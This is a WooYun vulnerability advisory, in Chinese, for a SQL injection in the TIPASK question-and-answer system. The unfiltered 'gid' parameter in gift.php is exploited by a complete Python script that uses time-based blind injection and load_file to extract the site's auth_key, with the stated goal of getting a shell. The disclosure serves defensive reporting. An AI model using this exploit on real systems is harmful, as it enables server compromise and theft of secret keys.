当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087038

漏洞标题:TIPASK问答系统SQL注入三(有多个大型互联网企业案例)

相关厂商:TIPASK

漏洞作者: 路人甲

提交时间:2014-12-15 18:27

修复时间:2015-03-15 18:28

公开时间:2015-03-15 18:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

TIPASK问答系统SQL注入三(影响天极网、戴尔中国、WPS office、小米等网站)

详细说明:

部分案例:

0.jpg


通过源代码发现/control/gift.php存在注入,部分代码如下

function onadd() {
if(isset($this->post['realname'])) {
$realname = $this->post['realname'];
$email = $this->post['email'];
$phone = $this->post['phone'];
$addr = $this->post['addr'];
$postcode = $this->post['postcode'];
$qq = $this->post['qq'];
$notes = $this->post['notes'];
$gid = $this->post['gid'];
$param = array();
if(''==$realname || ''==$email || ''==$phone||''==$addr||''==$postcode) {
$this->message("为了准确联系到您,真实姓名、邮箱、联系地址(邮编)、电话不能为空!",'gift/default');
}
if (!preg_match("/^[a-z'0-9]+([._-][a-z'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$/",$email)) {
$this->message("邮件地址不合法!",'gift/default');
}
if(($this->user['email'] != $email) && $this->db->fetch_total('user'," email='$email' ")) {
$this->message("此邮件地址已经注册!",'gift/default');
}
$gift = $_ENV['gift']->get($gid);
if($this->user['credit2']<$gift['credit']) {
$this->message("抱歉!您的财富值不足不能兑换该礼品!",'gift/default');
}
$_ENV['user']->update_gift($this->user['uid'],$realname,$email,$phone,$qq);
$_ENV['gift']->addlog($this->user['uid'],$gid,$this->user['username'],$realname,$this->user['email'],$phone,$addr,$postcode,$gift['title'],$qq,$notes,$gift['credit']);
$this->credit($this->user['uid'],0,-$gift['credit']);//扣除财富值
$this->message("礼品兑换申请已经送出等待管理员审核!","gift/default");
}
}


$gid = $this->post['gid']; $gid参数没有严格的过滤,造成了SQL注入漏洞
同样 为了无限制getshell,依然还是获取加密的auth_key,直接上Exp:

#/usr/bin/pytyon
import urllib
import urllib2
from time import *
def inject(url,payload):
post = urllib.urlencode({
'gid':payload,
'realname':'testtest',
'email':'email@qq.com',
'phone':'15800000000',
'addr':'111111',
'postcode':'22222'
})
header = {'Cookie':'tp_auth=70349FVn7tDasEWTHDyi6y7itpKIFhjiQ66UaK7mwIB31Rc7E0MttS8v7QfbBy1yGmiHDNptr3sjTC7RyXhM'}
req = urllib2.Request(url,post,header)
start_time = time()
resp = urllib2.urlopen(req)
flag = int(time()-start_time)
return flag
def exploit():
result = ""
url = 'http://127.0.0.1/tipask/?gift/add.html'
for i in range(4677,4741):
for num in range(32,127):
flag= inject(url,"2) and if(ord(substring((select/**/load_file(0x443A5C417070536572765C7777775C74697061736B5C646174615C63616368655C73657474696E672E706870)),%s,1))=%s,BENCHMARK(5000000,md5(1)),null)#"%(i,num))
if flag>0:
mstr = i - 4676
result = result+chr(num)
print 'auth_key =>'+result
break
if __name__=="__main__":
exploit()


结果如下:

2.jpg

漏洞证明:

漏洞证明:

2.jpg

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论